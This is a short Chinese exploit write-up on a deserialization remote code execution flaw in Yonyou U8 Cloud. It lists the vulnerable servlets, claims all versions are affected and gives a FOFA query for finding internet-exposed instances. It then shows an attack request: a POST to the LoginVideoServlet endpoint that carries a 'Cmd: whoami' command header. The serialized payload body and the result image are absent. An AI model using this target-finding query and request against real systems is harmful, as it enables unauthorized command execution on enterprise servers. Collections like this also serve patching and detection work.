Y3-29用友-U8-Cloud-反序列化RCE

漏洞描述:

用友U8 Cloud存在多处(ServiceDispatcher、FileManageServlet、LoginVideoServlet)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列 化利用链,最终造成远程代码执行。

影响版本:

用友U8 Cloud 所有版本

网站图片:

U8 cloud 下载页面

请下载新版UClient 开启U8 cloud云端之旅







网络测绘:

fofa语法:

FOFA: app="用友-U8-Cloud"

漏洞复现:

payload:

POST /service/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1

Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Cmd: whoami Content-Length: 16284

效果图:

